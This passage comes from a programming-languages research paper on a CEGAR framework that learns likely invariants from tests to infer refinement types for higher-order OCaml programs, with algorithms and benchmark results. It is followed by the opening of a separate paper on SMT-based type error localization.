7 else abort “Invariant not in hypothesis domain”

If Πi should be selected for separation in the classifier, seli is
assigned to 1. Otherwise, it is assigned as 0.

ϕ1 :
∧

∀g,b. g∈V b
G
,b∈V b

B

∨
0≤i<n

(g(Πi) 6= b(Πi) ∧ seli = 1)

ϕ2 :
∧

0≤i<n

0 ≤ seli ≤ 1

ϕc : min(Σ0≤i<nseli)

The first constraint ϕ1 specifies the separation of good states
from bad states—for each good state g and bad state b, there
must exist at least one predicate Πi labeled by seli such that the
respective evaluations of Πi on g and b differs.

The second constraint ϕ2 ensures that each xi must be between
0 and 1. The third constraint ϕc specifies the cost function of the
constraint system and minimizing this function is equivalent to
minimizing the number of predicates selected for separation, which
in turn results in a simple invariant as discussed.

Algorithm 1 computes a solution for likely invariant. It firstly
builds ϕ1 and ϕ2 as stated. Then it iteratively solves the constraint
system to find the minimum k that renders the constraint system
satisfiable. In our experience, since the number of parameters of a
function is not large, and the fact that a few number of samples
usually suffice for discovering an invariant, the call to an SMT
solver in our algorithm is very efficient. For example, a solution of
the constraint system built over Table 1(b) is shown in Table 1(c).
By design, our algorithm guarantees that the invariants discovered
are the minimum one to separate VG and VB and therefore, it is
very likely that they will generalize.

When the solution is computed, the likely invariant should be a
Boolean combination of the predicates Πi if seli=1 in the solution.
We use a Boolean variable Bi to represent the truth value of pred-
icate Πi and generate a truth table T over the Bi variables for the
selected predicates. Formally {B = Bi| seli = 1(0 ≤ i < n)}. To
construct the likely invariant, we firstly generate a table V b

B , which
only retains the values corresponding to the selected predicates Πi

(seli = 1) in V b
B . Each row of the truth table T is a configuration

(assignment) to the variables in B. If a configuration corresponds to
a row in V b

B , its corresponding result in T is false. Otherwise, the
result in true. Intuitively, T must reject all the evaluations to B if
they appear in a bad sample in V b

B and accept all the other possible
evaluations to B (which of course include those in V b

G). See Ta-
ble 1(d) as an example of the generated truth table from Table 1(c).
In line 6 of Algorithm 1, the call to McCluskey applies standard
sound logic minimization techniques [20] to T to compute a com-
pact Boolean structure of the likely invariant.

Lemma 1. L (VG, VB) is consistent.

Lemma 1 claims that our algorithm will never produce an in-
variant that misclassifies a good sample or bad sample.

6. Verification Procedure
To yield refinement types, we extend standard types with invariants
which are automatically synthesized from samples as type refine-
ments. The invariants inferred for a function f are assigned to un-
known refinement variables (κ) in the refinement function type of
f . Other unknown refinement variables, associated with local ex-
pressions inside function definitions, are still undefined.

To solve this problem, we have implemented an algorithm that
extracts path-sensitive verification conditions from refinement typ-
ing rules, which extends the inference algorithm in [28]. Therefore
it does not need to explicitly infer the refinement types for local
expressions. It also can verify programmer-supplied program as-
sertions using synthesized likely invariants. We present the full al-
gorithm in [44].

Notably, our approach can properly account for unknown func-
tions whose order is more than one, that is unknown functions
which may also takes functional arguments. Recall the sample
states generated for function app in Fig. 7. In the app function,
the argument f is an unknown function whose second argument
f1 is also an unknown function as the type in Fig. 6 shows. We
did not sample the input/output values for function f1 and only
recorded its supplier, g. We observe that such an unknown function
will be eventually supplied with another function. For example, in
the body of app, g will be supplied for f1. This indicates the in-
variant inferred for g is also likely to be invariant for f1 so the type
refinements for g can flow into that of f1. Formally, consider the
refinement function subtyping rule in [28]:

Γ ` P ′x <: Px Γ;x : P ′x ` P <: P ′

Γ ` {x : Px → P} <: {x : P ′x → P ′} Subtyping Fun

If the type refinement in Px is synthesized, it can be propagated to
that of P ′x.

For example, according to the subtyping rule, g must subtype
to f1. f1 can then inherit the type refinements for g. We then
let our type inference algorithm decide a valid type instantiation,
following [28]. In Fig. 7, separating the samples that represent
good calls to f and g with the samples that represent bad calls
(e.g., calls that raise an err ), we infer the invariant: f0 = x and
g0 = x. Leveraging the type inference algorithm with the likely
type refinement ν = x, we conclude the desired type for app:

app ::(x : int→ f : (f0 : {int| ν = x} →
f1 : ({int|ν = x} → int)→ int)→
g : (g0 : {int|ν = x} → int)→ int)

6.1 CEGAR Loop
Algorithms. Our Main algorithm (Algorithm 2) takes as input a
higher-order program e with its safety property ψ that is expected
to hold at some program point. We first annotate ψ in the source
as assertions at that program point and use random test inputs iv
(like [6]) to bootstrap our verification process (line 1). We then
instrument the program using the strategy discussed in Sec. 4.
Function run compiles and runs the instrumented code with iv
(line 2); concrete program states at the entry and exit of each
known function are logged to produce good states VG. (We omit
including additional bad states V ′B caused by calls to unknown
functions returning “err” in the instrumented code (see Sec. 4), for
simplicity.) We then enter the main CEGAR loop (line 4-8). With
a set of good and bad states for each known function, the function
learn invokes the L learning algorithm (see Sec. 5) to generate
likely invariants (line 5) which are subsequently encoded as the
function’s refinement types for validation (line 6). If the program
typechecks, verification is successful. Otherwise, type checking is
considered to fail because these invariants are synthesized from
an insufficient set of samples. We try generating more samples
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Figure 8. CEGAR loop: Invariant as classifier.

Algorithm 2: Main e ψ
Input: e is a program; ψ is its safety property
Output: verification result

1 let (e′, iv) = (annotate e ψ, randominputs e) in
2 let (VG, VB) := ( run (instrument e′) iv, ∅) in
3 let i := 2 in
4 while true do
5 let ϕ = learn (VG, VB) in
6 if verify e′ ϕ then
7 return “Verified”
8 else (VG, VB) := Refine (i, e, ψ, ϕ, VG, VB)

for the learning algorithm, refining the failed invariants (line 8).
Notably, our backward symbolic analysis (wp) requires to bound the
number of times recursive functions are unrolled. This is achieved
by passing the bound parameter i to Refine. Initially i is set to 2
(line 3 of Algorithm 2).

The Refine algorithm (see Algorithm 3) guides the sample gen-
eration to refine a failed likely invariant. The first step of Refine is
the invocation of the wp procedure over the given higher-order pro-
gram annotated with the property ψ (line 1 and 2); this step yields
pre-and post-bad conditions for each known function sufficient to
trigger a failure of some assertion (line 3). A failed invariant may
be too over-approximate (failing to incorporate needed sufficient
conditions) or too under-approximate (failing to account for impor-
tant necessary conditions). This is intuitively described in Fig. 8(a)
where the classifier (as invariant) only separates the observed good
and bad samples but fails to generalize to unseen states.

To account for the case that it is too over-approximate, we
firstly try to sample new bad states (line 4). The idea is reflected in
Fig. 8(b). The new bad samples should help the learning algorithm
strengthen the invariants it considers. For each known function, we
simply conjoin the failed likely pre- and post-invariants with the
pre- and post-bad conditions derived earlier from the wp procedure.
Bad states (VB) are (SMT) solutions of such conditions (line 5).
Note that bad cond and ϕ are sets of bad conditions and failed
invariants for each known function in the program. Operators like
∧ and ∪ in Algorithm 3 are overloaded in the obvious way. If no
new bad states can be sampled, we account for the case that failed
invariants are too under-approximate (line 6).

Our idea of sampling more good states is reflected in Fig. 8(c).
The new good state should help the learning algorithm weaken the
invariants it considers. To this end, we annotate the failed pre- and
post-invariant as assertions to the entry and exit of function bodies
for the known functions where such invariants are inferred. (Func-
tion annotate substitutes variables representing unknown function
argument and return in a failed invariant with the actual argument
and return encoded into uninterpreted form in the corresponding
function’s pre- and post-bad conditions. For example, a 0 and ar

Algorithm 3: Refine (i, e, ψ, ϕ, VG, VB)
Input: (e, ψ) are as in Algorithm 2; ϕ are failed invariants; i

is the number of times a recursive function is unrolled
in wp; VG and VB are old good and bad samples

Output: good or bad samples (VG, VB) that refines ϕ
1 let e′ = annotate e ψ in
2 let = wp (i, e′, false) in
3 let bad cond = bad conditions of functions from wp call in
4 if sat (bad cond ∧ϕ) then
5 (VG, ( deduce (bad cond ∧ϕ)) ∪ VB)
6 else
7 let test cond = wp (i, annotate e ϕ, false) in
8 if sat (test cond) then
9 let iv = deduce test cond in

10 (( run (instrument e′) iv) ∪ VG, VB)
11 else Refine (i+ 1, e, ψ, ϕ, VG, VB)

in Table 1(a) are replaced with j and a j in a failed invariant
for the init function (consider δ5) in Fig. 3.) Note that these in-
variants only represent an under-approximate set of good states. To
direct tests to program states that have not been seen before, the wp
procedure executes the negation of these annotated assertions back
to the program’s main entry to yield a symbolic condition (line 7).
Function deduce generates a new test case for the main entry (line
8 and 9) from the (SMT) solutions of the symbolic condition. The
new good states from running the generated test inputs are ensured
to refine the failed invariant (line 10).

In function Refine, we only consider unrolling recursive func-
tion a fixed i times. As stated, if this is not sufficient, we increase
the value of i and iterate the refinement strategy (line 11). However,
in our experience (see Sec. 8), unrolling the definition of a recur-
sive function twice usually suffices based on the observation that
the invariant of recursive function can be observed from a shallow
execution. Particularly, i is unlikely to be greater than the maximum
integer constant used in the if -conditions of the program.
Algorithm Output. (a) In the testing phase (Runner), the Main algo-
rithm terminates with test inputs witnessing bugs in function run
when the tests expose assertion failures in the original program. (b)
In the sampling phase (Deducer), since our technique is incomplete
in general, if a program has expressions that cannot be encoded into
a decidable logic for SMT solving, Refine may be unable to infer
necessary new samples because the sat function (line 4 and line 8
of Algorithm 3) aborts with undecidable result. (c) In the learning
phase (learner), it terminates with “Invariant not in hypothesis do-
main” in line 7 of Algorithm 1 when no invariant can be found in
the search space (which is parameterized by Equation 1 in Sec. 2).
(d) In the verifying phase (verifier), it returns “Verified” in line 5 of
Algorithm 2 when specifications are successfully proved.
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6.2 Soundness and Convergence
Our algorithm is sound since we rely on a sound refinement type
system [28] for proving safety properties (proved in [44]) or a test
input for witnessing bugs.

For a program e with some safety property ψ, a desired invari-
ant of e should accept all possible (unseen) good states and re-
ject all (unseen) bad states (according to [44], the desired invariant
found in our system is an inductive invariant, which hence can be
encoded into the refinement type system in [28] for verification).

Recall that our hypothesis domain is the arbitrary Boolean com-
bination of predicates, parameterized by Equation 1 in Sec. 2. We
claim the CEGAR loop in Algorithm 2 converges: it could eventu-
ally learn the desired invariant ϕ, provided one exists expressible
as a hypothesis in the hypothesis domain.

Theorem 1. [Convergence] Algorithm 2 converges.1

To derive a proof, assume Refine (line 8 of Algorithm 2) does
not take a desired invariant as input; otherwise Algorithm 2 has
already converges. Refine can iteratively increase i, the number of
times recursive functions are unrolled in e, to generate a new pair
of good/bad samples that refine ϕ. Otherwise, if such a value of i
does not exist,ϕ already classified all the unseen good/bad samples.
Hence, in each CEGAR iteration, by construction, a new sample
provides a witness of why a failed invariant should be refuted.

According to Lemma 1, our learning algorithm produces a con-
sistent hypothesis that separates all good samples from bad sam-
ples. As a result, the CEGAR loop does not repeat failed hy-
pothesis. Our technique essentially enumerates the hypothesis do-
main. Finally, the hypothesis domain is finite since the coefficients
and constants of atomic predicates are accordingly bounded (see
Sec. 5); the CEGAR based sampling-learning-checking loop in Al-
gorithm 2 converges in a finite number of iterations.

6.3 Algorithm Features
In Algorithm 2, the refinement type system and test system co-
operate on invariant inference. The refinement type system bene-
fits from tests because it can extract invariants from test outcomes.
Conversely, if previous tests do not expose an error in a buggy pro-
gram, failed invariants serve as abstractions of sampled good states.
By directing tests towards the negation of these abstractions, Algo-
rithm 3 guides test generation towards hitherto unexplored states.

Second, it is well known that intersection types [37] are nec-
essary for verification when an unknown function is used more
than once in different contexts [17]. Instead of inferring intersec-
tion types directly as in [17], we recover their precision by inferring
type refinements (via learning) containing disjunctions (as demon-
strated by the example in Fig. 3).

7. Recursive Data Structures
As stated in Sec. 2, we extend our framework to verify data struc-
ture programs with specifications that can be encoded into type re-
finements using measures [15, 40]. For example, a measure len,
representing list length, is defined in Fig. 9 for lists. We firstly ex-
tend the syntax of our language to support recursive data structures.

e ::= · · · | 〈e〉 | C〈e〉 | match e with |i Ci〈xi〉 → ei

M ::= (m, 〈Ci〈xi〉 → εi〉) ε ::= m | c | x | ε ε
The first line illustrates the syntax for tuple constructors, data type
constructors where C represent a constructor (e.g. list cons ), and
pattern-matching. M is a map from a measure m to its definition.
To ensure decidability, like [15], we restrict measures to be in the
class of first order functions over simple expressions (ε) so that they

1 All proofs can be found in [44].

l e t r e c len l =
match l w i t h
| x :: xs →

len xs + 1
| [ ] → 0

l e t reverse zs =
l e t r e c aux xs ys =

match xs w i t h
| [ ] → ys
| x::xs → aux xs (x::ys) i n

l e t r = aux zs [ ] i n
(assert(len r = len zs); r)

Figure 9. Samples of data structures can be classified by measures.

wp(e, φ) = case e of

| Ci〈e〉 when (m, 〈Ci〈xi〉 → εi〉) ∈M → [εi 〈e〉/(m ν)]φ

| { match e with |i Ci〈xi〉 → ei} when (m, 〈Ci〈xi〉 → εi〉) ∈M →∨
i

{∃〈x′i〉.[〈x′i〉/〈xi〉]((m e) = εi〈xi〉 ∧ (wp(ei, φ)))}

Figure 10. wp rule for recursive data type

are syntactically guaranteed to terminate. The typing rules for the
extended syntax are adapted from [15] and are available as part of
the supplementary material. To support this extension, we also need
to extend our wp definition in Fig. 10.

The basic idea is that when a recursive structure is encountered,
its measure definitions are accordingly unrolled: (1) for a struc-
ture constructor Ci〈e〉, we derive the appropriate pre-condition by
substituting the concrete measure definition εi〈e〉 for the measure
applicationm ν in the post-condition; this is exemplified in Fig. 11
where bad-condition δ2 is obtained from δ1 by substituting len ys
for len ys + 1 based on the definition of measure len; (2) for a
match expression, the pre-condition is derived from a disjunction
constructed by recursively calling wp over all of its case expres-
sions, which are also extended with the guard predicate capturing
the measure relation between e and 〈xi〉. All the 〈xi〉 need to be
existentially quantified and skolemized when fed to an SMT solver
to check satisfiability. The bad condition δ3 in Fig. 11 is such an
example.

With the extended definition, sampling recursive data structures
is fairly strait-forward. To collect “good” states, in the instrumenta-
tion phase, for each recursive structure serving as a function param-
eter or return value in some data structure function, we simply call
its measure functions and record the measure outputs in the sam-
ple state. To collect “bad” states, we invoke an SMT solver on the
bad-conditions for each data structure functions to find satisfiabil-
ity solutions. The solver can generate values for measures because
it interprets a measure function in bad-conditions as uninterpreted.

Consider how we might infer a precondition for function aux
in Fig. 9. Note that aux is defined inside reverse and is a closure
which can refer to variable zs in its lexical scoping. A good sample
presents the values of len(xs), len(ys) and len(zs), trivially
available from testing. A bad sample captures a bad relation among
len(xs), len(ys) and len(zs) that is sufficient to invalidate the
assertion in the reverse function, solvable from δprebad in Fig. 11.
With these samples, our approach infers the following refinement
type for aux, which is critical to prove the assertion.

xs:list→ ys: {list| len xs + len ν = len zs}
→ {list | len ν = len zs}

If function aux is not defined inside of function reverse where zs
is not in the scope of aux, our technique infers a different type for
aux, xs:list→ ys:list→ {list | len xs + len ys = len ν}.

When there is a need for sampling more good states in the Re-
finement algorithm (Algorithm 3), generating additional test inputs
for data structures from wp-condition reduces to Korat [3], a con-
straint based test generation mechanism. Alternatively, the failed
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l e t r e c aux xs ys =
δprebad : δ3 ∨ δ4

match xs w i t h
δ4 : len xs = 0 ∧ len ys 6= len zs
| [ ] → ys
δ3 : ∃xs′.len xs = 1 + len xs′ ∧ [xs′/xs]δ2
| x::xs →
δ2 : len xs = 0 ∧ len ys + 1 6= len zs
l e t ys = x::ys i n
δ1 : len xs = 0 ∧ len ys 6= len zs
aux xs ys i n

δpostbad : len ν 6= len zs

Samples:
lxs lys lzs

G 1 2 3
2 1 3

B 1 0 2
1 0 0

Likely invariant:

lxs + lys = lzs

Figure 11. Classifying good (G) and bad (B) samples to construct
an invariant (precondition) for aux. lxs abbreviates len xs, etc.

Loops N L T CPA ICE SC MC2

cgr2 2 0.2 0.3s 1.7s 6.9s 2.7s 17.3s
ex23 3 0.3 0.4s 16.7s 17.4s 4.7s 0.1s
sum1 5 0.6 0.8s 1.5s 1.8s 2.6s 29.1s
sum4 2 0.1s 0.1s 3.2s 2.6s × ×

tcs 2 0.1s 0.1s 1.7s 1.4s 0.5s ×
trex3 2 0.1s 0.3s × 2.2s × ×
prog4 3 0.3s 0.5s 1.6s × × 0.1s
svd 2 0.5s 1.0s 19.1s × 5.9s ×

Figure 12. Evaluation using loop programs: N and T are the num-
ber of CEGAR iterations and total time of our tool (L is the time in
learning). × means an adequate invariant was not found.

invariants can be considered incorrect specifications. We can di-
rectly generate inputs to the program by causing it to violate the
specifications following [24, 29]. Notably, the former approach is
complete if the underlying SMT solver can always find a model for
any satisfiable formula. As an optimization for efficiency, we boot-
strap the verification procedure with random testing to generate a
random sequence of method calls (e.g. insert and remove ) up
to a small length s in the Main algorithm (line 1 of Algorithm 2).
In our experience in Sec. 8, setting s to 300 allows the system to
converge for all the container structures we consider without requir-
ing extra good samples; this result supports a large case study [31]
showing that test coverage of random testing for container struc-
tures is as good as that of systematic testing.

8. Experimental Results
We have implemented our approach in a prototype verifier.2 Our
tool is based on OCaml compiler. We use Yices [42] as our SMT
solver. To test the utility of our ideas, we consider a suite of
around 100 benchmarks from the related work. Our experimental
results are collected in a laptop running Intel Core 2 Duo CPU
with 4GB memory. Our experiments are set up into three phases.
In the first step, we demonstrate the efficiency of our learning
based invariant generation algorithm (Sec. 5) by comparing it with
existing learning based approaches, using non-trivial first-order
loop programs. In this step, we only compare first-order programs
because the sampling strategies used in the other learning based
approaches do not work in higher-order cases. In the second and
third steps, we compare with MOCHI and LIQUIDTYPES, two
state-of-the-art verification tools for higher-order programs.

8.1 Learning Benchmarks
We collected challenging loop programs found in an invariant
learning framework ICE [10]. We list in Fig. 12 the programs

2 https://www.cs.purdue.edu/homes/zhu103/msolve/

Program N L T I DI MOCHI
ainit 4 1.9s 2.3s 5 4 5.7s
amax 4 0.6s 0.9s 5 2 2.4s
accpr 3 0.8s 1.1s 7 0 3.9s

fold fun list 3 0.2s 0.6s 5 0 3.7s
mapfilter 5 0.7s 1.2s 3 2 18.5s

risers 3 0.1s 0.3s 4 2 2.4s
zip 3 0.1s 0.2s 1 0 2.4s

zipunzip 3 0.1s 0.2s 1 0 1.7s

Figure 13. Evaluation using MOCHI benchmarks: N and T are
the number of CEGAR iterations and total time of our tool (L is
the time spent in learning), I is the number of discovered type
refinements, among which DI shows the number of disjunctive
type refinements inferred. Column MOCHI shows verification time
using MOCHI.

that took more than 1s to verify in their tool. We additionally com-
pare our approach to CPA, a static verification tool [2] and three
related learning based verification tools that are also based on the
idea of inferring invariants as classifiers to good/bad sample pro-
gram states: ICE [10], SC [34] and MC2 [30]. Our tool outperforms
ICE because it completely abstracts the inference of the Boolean
structure of likely invariants while ICE requires to fix a Boolean
template prior to learning; it outperforms SC because it guides sam-
ples generation via the CEGAR loop; it outperforms MC2 due to its
attempt to find minimal invariants from the samples for generaliza-
tion.

8.2 MOCHI Higher-Order Programs
To gauge the effectiveness of our protptype with respect to exist-
ing automated higher-order verification tools, we consider bench-
marks encoded with complex higher-order control flow, reported
from MOCHI [17], including many higher-order list manipulating
routines such as fold, forall, mem and mapfilter.

We gather the MOCHI results on an Intel Xeon 5570 CPU with
6 GB memory, running an up-to-date MOCHI implementation, a
machine notably faster than the environment for our system. A CE-
GAR loop in MOCHI performs dependent type inference [37, 38]
on spurious whole program counterexamples from which suitable
predicates for refining abstract model are discovered based on inter-
polations [21]. However, existing limitations of interpolating theo-
rem provers may confound MOCHI. For example, it fails to prove
the assertion given in program in Fig. 9.

Fig. 13 only lists results for which MOCHI requires more than
1 second. Our tool also takes less than 1s for the rest of MOCHI
benchmarks. Performance improvements range from 2x to 18x.
We typically infer smaller and hence more readable types than
MOCHI. In the case of mapfilter , where the performance dif-
ferential is greatest, MOCHI spends 6.1s to find a huge dependent
intersection type in its CEGAR loop. This results in an additional
10.7s spent on model checking. In contrast, our approach tries to
learn a simple classifier from easily-generated samples to permit
generalization.

8.3 Recursive Functional Data Structure Programs
We further evaluate our approach on some benchmarks that ma-
nipulate data structures. List is a library that contains standard
list routines such as append, length, merge, sort, reverse and
zip . Sieve implements Eratosthene’s sieve procedure. Treelist
is a data structure that links a number of trees into a list. Brauntree
is a variant of balanced binary trees. They are described in [41].
Ralist is a random-access list library. Avltree and Redblack
are implementation of two balanced tree AVL-tree and Redblack
tree. Bdd is a binary decision diagram library. Vec is a OCaml ex-
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Program LOC An LIQTYAN T Property

List 62 6 12 2s Len1
Sieve 15 1 2 1s Len1

Treelist 24 1 2 1s Sz
Fifo 46 1 5 2s Len1

Ralist 102 2 6 2s Len1, Bal
Avl tree 75 3 9 20s Bal, Sz, Ht

Bdd 110 5 14 13s VOrder
Braun tree 39 2 3 1s Bal,Sz
Set/Map 100 3 10 14s Bal,Ht
Redblack 150 3 9 27s Bal,Ht,Clr

Vec 310 15 39 110s Bal,Len2,Ht

Figure 14. Evaluation using data structure benchmarks: LOC is
the number of lines in the program, An is the number of required
annotations (for instrumenting data structure specifications), T is
the total time taken by our system. LIQTYAN is the number of
annotations optimized in LIQUIDTYPES system.

tensible array libraray. These benchmarks are used for evaluation
in [28]. Fifo is a queue structures maintained by two lists, adapted
from the SML library [35]. Set/Map is the implementation of finite
maps taken from the OCaml library [26].

We check the following properties: Len1, the various proce-
dures appropriately change the length of lists; Len2, the vector
access index is nonnegative and properly bounded by the vector
length; Bal, the trees are recursively balanced (the definition of bal-
ance in different tree implementations varies); Sz or Ht, the func-
tions coordinate to change the number of elements contained and
the height of trees; Clr, the tree satisfies the redblack color invari-
ant; VOrder, the BDD maintains the variable order property.

The results are summarized in Fig. 14. The number of anno-
tations used in our system is reflected in column An. These an-
notations are simply the property in Fig. 14. Our experiment
shows that we eliminate the burden of annotating a predefined
set of likely invariants used to prove these properties, required in
LIQUIDTYPES, because we infer such invariants automatically.

For example, in the Vec library, an extensible array is repre-
sented by a balanced tree with balance factor of at most 2. To prove
the correctness of its recursive balancing routine, recbal(l, r),
which aims to merge two balanced trees (l and r) of arbitrarily
different heights into a single balanced tree, our tool infers a com-
plex invariant (equivalent to a 4-DNF formula) describing the re-
sult of recbal. Without that invariant, the refinement type checker
will end up rejecting the correct implementation. In contrast, such
a complicated invariant is required to be manually provided in
LIQUIDTYPES. Or, at least, the programmer has to provide the
shape of the desired invariant (the tool then considers all likely in-
variants of the presumed shape). The annotation burden of recbal
in LIQUIDTYPES is listed as below in which v refers to the result
of recbal and ht is a measure definition that returns the height a
tree structure.

1.Bal(v)(A : vec) : ht v{≤,≥}ht A {−,+} [1, 2, 3]

2.Bal(v) : ht v{≥,≤}(ht l >= ht r ? ht l : ht r) {−,+} [0, 1, 2]

3.Bal(v) : ht v ≥ (ht l ≤ ht r + 2 ∧ ht l ≥ ht r− 2 ?

(ht l ≥ ht r ? ht l : ht r) + 1 : 0)

4.Bal(v) : ht v ≥ (ht l ≥ ht r ? ht l : ht r)+

(ht l ≤ ht r + 2 ∧ ht l ≥ ht r− 2 ? 1 : [0,−1])

The four annotations are already complex because the desired
invariant of recbal must contain disjunctive clauses. Without suit-
able expertise, providing such annotations could be challenging.
In comparison, our tool automatically generates a Boolean combi-
nation of the necessary atomic predicates parameterized from the
hypothesis domain (parameterized from Equation 1). It learns in-

variants from sampling the program and closes the gap between
the programmer’s intuition and inference mechanisms performed
by formal verification tools.

Fig. 14 does not show the time taken by LIQUIDTYPES because
it crucially depends on the relevance of user-provided invariants.
Limitations. There are a few limitations to our current implemen-
tation. First, we rely on an incomplete type system [28]. In particu-
lar, our type system is not as complete as [39] which automatically
adds ghost variables into programs to remedy incompleteness in
the refinement type system. Second, our tool fails if our hypothe-
sis domain is not sufficiently expressive to compute a classifier for
an invariant. As part of future work, we plan to consider ways to
gradually increases the expressivity of the hypothesis domain by
parameterizing Equation 1. Third, we do not currently allow data
structure measures to be defined as mappings from datatypes to sets
(e.g. a measure that defines all the elements of a list), preventing us
from inferring properties like list-sorting, which requires reasoning
about the relation between the head element and all elements in its
tail. We leave such extensions for future work.

9. Related Work and Conclusions
There has been much work exploring the incorporation of refine-
ment types into programming languages. DML [41] proposed a
sound type-checking system to validate programmer-specified re-
finement types. LIQUIDTYPES [28] alleviates the burden for anno-
tating full refinement types; it instead blends type inference with
predicate abstraction [11], and infers refinement types from con-
junctions of programmer-annotated Boolean predicates over pro-
gram variables, following the Houdini approach [9].

There has also been substantial advances in the development of
dependent type systems that enable the expression and verification
of rich safety and security properties, such as Ynot [22], F* [36],
GADTs and type classes [18, 19], albeit without support for in-
variant inference. The use of directed tests to drive the inference
process additionally distinguishes our approach from these efforts.

Higher-order model checkers, such as MOCHI [17], compute
predicate abstractions on the fly as a white-box analysis, encoding
higher-order programs into recursion schemes [16]. Recent work
in higher-order model checking [27] has demonstrated how to scale
recursion schemes to several thousand rules. We consider the verifi-
cation problem from a different angle, applying a black-box analy-
sis to infer likely invariants from sampled states. In a direction op-
posite to higher-order model checking, HMC [14] translates type
constraints from a type derivation tree into a first-order program
for verification. However, 1) the size of the constraints might be
exponential to that of the original program; 2) the translated pro-
gram loses the structure of the original, thus making it difficult to
provide an actual counterexample for debugging. Popeye [43] sug-
gests how to find invariants from counterexamples on the original
higher-order source, but its expressiveness is limited to conjunctive
invariants whose predicates are extracted from the program text.

Refinement types can also be used to direct testing, demon-
strated in [29]. A relatively complete approach for counterexample
search is proposed in [24] where contracts and code are leveraged
to guide program execution in order to synthesize test inputs that
satisfy pre-conditions and fail post-conditions. In comparison, our
technique can only find first-order test inputs for whole programs.
However, existing testing tools can not be used to guarantee full
correctness of a general program.

Dynamic analyses can in general improve static analyses. The
ACL2 [4] system presents a synergistic integration of testing with
interactive theorem proving, which uses random testing to auto-
matically generate counterexamples to refine theorems. We are in
part inspired by YOGI [12], which combines testing and first-order
model checking. YOGI uses testing to refute spurious counterex-
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amples and find where to refine an imprecise program abstraction.
We retrieve likely invariants directly from tests to aid automatic
higher-order verification.

There has been much interest in learning program invariants
from sampled program states. Daikon [8] uses conjunctive learning
to find likely program invariants with respect to user-provided
templates with sample states recorded along test runs. A variety
of learning algorithms have been leveraged to find loop invariants,
using both good and bad sample states: some are based on simple
equation or template solving [10, 25, 33]; others are based on
off-the-shell machine learning algorithms [30, 32, 34]. However,
none of these efforts attempt to sample and synthesize complex
invariants, in the presence of recursive higher-order functions.
Conclusion. We have presented a new CEGAR based framework
that integrates testing with a refinement type system to automati-
cally infer and verify specifications of higher-order functional pro-
grams using a lightweight learning algorithm as an effective in-
termediary. Our experiments demonstrate that this integration is
efficient. In future work, we plan to integrate our idea into more
expressive type systems. The work of [5] shows that a refinement
type system can verify the type safety of higher-order dynamic lan-
guages like Javascript. However, it does not give an inference al-
gorithm. It would be particularly useful to adapt the learning based
inference techniques shown here to the type system for dynamic
languages.
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Abstract
Compilers for statically typed functional programming languages
are notorious for generating confusing type error messages. When
the compiler detects a type error, it typically reports the program
location where the type checking failed as the source of the error.
Since other error sources are not even considered, the actual root
cause is often missed. A more adequate approach is to consider
all possible error sources and report the most useful one subject
to some usefulness criterion. In our previous work, we showed
that this approach can be formulated as an optimization problem
related to satisfiability modulo theories (SMT). This formulation
cleanly separates the heuristic nature of usefulness criteria from the
underlying search problem. Unfortunately, algorithms that search
for an optimal error source cannot directly use principal types
which are crucial for dealing with the exponential-time complexity
of the decision problem of polymorphic type checking. In this
paper, we present a new algorithm that efficiently finds an optimal
error source in a given ill-typed program. Our algorithm uses an
improved SMT encoding to cope with the high complexity of
polymorphic typing by iteratively expanding the typing constraints
from which principal types are derived. The algorithm preserves the
clean separation between the heuristics and the actual search. We
have implemented our algorithm for OCaml. In our experimental
evaluation, we found that the algorithm reduces the running times
for optimal type error localization from minutes to seconds and
scales better than previous localization algorithms.

Categories and Subject Descriptors D.2.5 [Testing and De-
bugging]: Diagnostics; F.3.2 [Semantics of Programming Lan-
guages]: Program Analysis

Keywords Type Error Localization, Satisfiability Modulo Theo-
ries, Polymorphic Types

1. Introduction
Hindley-Milner type systems support automatic type inference,
which is one of the features that make languages such as Haskell,
OCaml, and SML so attractive. While the type inference prob-
lem for these languages is well understood [1, 10, 16, 19, 23, 30],
the problem of diagnosing type errors still lacks satisfactory solu-
tions [8, 9, 12, 14, 17, 21, 24, 31, 32].

When type inference fails, a compiler usually reports the loca-
tion where the first type mismatch occurred as the source of the
error. However, often the actual location that is to blame for the er-
ror and needs to be fixed is somewhere else entirely. Consequently,
the quality of type error messages suffers, which increases the de-
bugging time for the programmer. A more adequate approach is to
consider all possible error sources and then choose the one that is
most likely to blame for the error. Here, an error source is a set of
program locations that, once corrected, yield a well-typed program.

The challenge for this approach is that it involves two sub-
problems that are difficult to untangle: (1) searching for type error
sources, and (2) ranking error sources according to some useful-
ness criterion (e.g., the number of required modifications to fix the
program). Existing solutions to type error localization make spe-
cific heuristic decisions for solving these subproblems. As a conse-
quence, the resulting algorithms often do not provide formal guar-
antees or use specific usefulness criteria that are difficult to jus-
tify or adapt. In our recent work [24], we have proposed a novel
approach that formalizes type error localization as an optimiza-
tion problem. The advantage of this approach is that it creates a
clean separation between (1) the algorithmic problem of finding er-
ror sources of minimum cost, and (2) the problem of finding good
usefulness criteria that define the cost function. This separation of
concerns allows us to study these two problems independently. In
this paper, we develop an efficient solution for problem (1).

Challenge. Type inference is often formalized in terms of con-
straint satisfaction [1, 23, 30]. In this formalization, each expres-
sion in the program is associated with a type variable. A typing con-
straint of a program encodes the relationship between the type of
each expression and the types of its subexpressions by constraining
the type variables appropriately. The program is then well-typed iff
there exists an assignment of types to the type variables that satis-
fies the constraint. In our previous paper, we used this formalization
to reduce the problem of finding minimum error sources to a known
optimization problem in satisfiability modulo theories (SMT), the
partial weighted MaxSMT problem. This reduction enables us to
use existing MaxSMT solvers for type error localization.

The reduction to constraint satisfaction also has its problems.
The number of typing constraints can grow exponentially in the
size of the program. This is because the constraints associated with
polymorphic functions are duplicated each time these functions
are used. This explosion in the constraint size does not seem to
be avoidable because the type inference problem is known to be
EXPTIME-complete [16, 19]. However, in practice, compilers suc-
cessfully avoid the explosion by computing the principal type [10]
of each polymorphic function and then instantiating a fresh copy of
this type for each usage. The resulting constraints are much smaller
in practice. Since the smaller constraints are equisatisfiable with the
original constraints, the resulting algorithm is a decision procedure
for the type checking problem [10]. Unfortunately, this technique
cannot be applied immediately to the optimization problem of type
error localization. If the minimum cost error source is located inside
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of a polymorphic function, then abstracting the constraints of that
function by its principle type will hide this error source. Thus, this
approach can yield incorrect results. This dilemma is inherent to all
type error localization techniques and the main reason why existing
algorithms that are guaranteed to produce optimal solutions do not
yet scale to real-world programs.
Solution. Our new algorithm makes the optimistic assumption that
the relevant type error sources only involve few polymorphic func-
tions, even for large programs. Based on this assumption, we pro-
pose an improved reduction to the MaxSMT problem that abstracts
polymorphic functions by principal types. The abstraction is done
